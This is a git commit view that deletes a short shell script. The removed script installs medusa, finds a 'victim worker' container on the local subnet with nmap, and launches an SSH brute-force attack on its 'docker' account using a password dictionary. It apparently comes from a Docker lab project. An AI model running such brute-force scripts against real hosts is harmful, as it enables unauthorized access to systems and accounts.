petroskaridis
4 years ago
1 changed files with 0 additions and 8 deletions
@ -1,8 +0,0 @@ |
|||||
sudo apt update |
|
||||
sudo apt upgrade -y |
|
||||
sudo apt install medusa -y |
|
||||
echo "Finding victim worker IP" |
|
||||
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/') |
|
||||
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()') |
|
||||
echo "Starting ssh brute force attack with medusa" |
|
||||
medusa -u docker -P dictionary.txt -h $worker1 -M ssh |
|
Loading…
Reference in new issue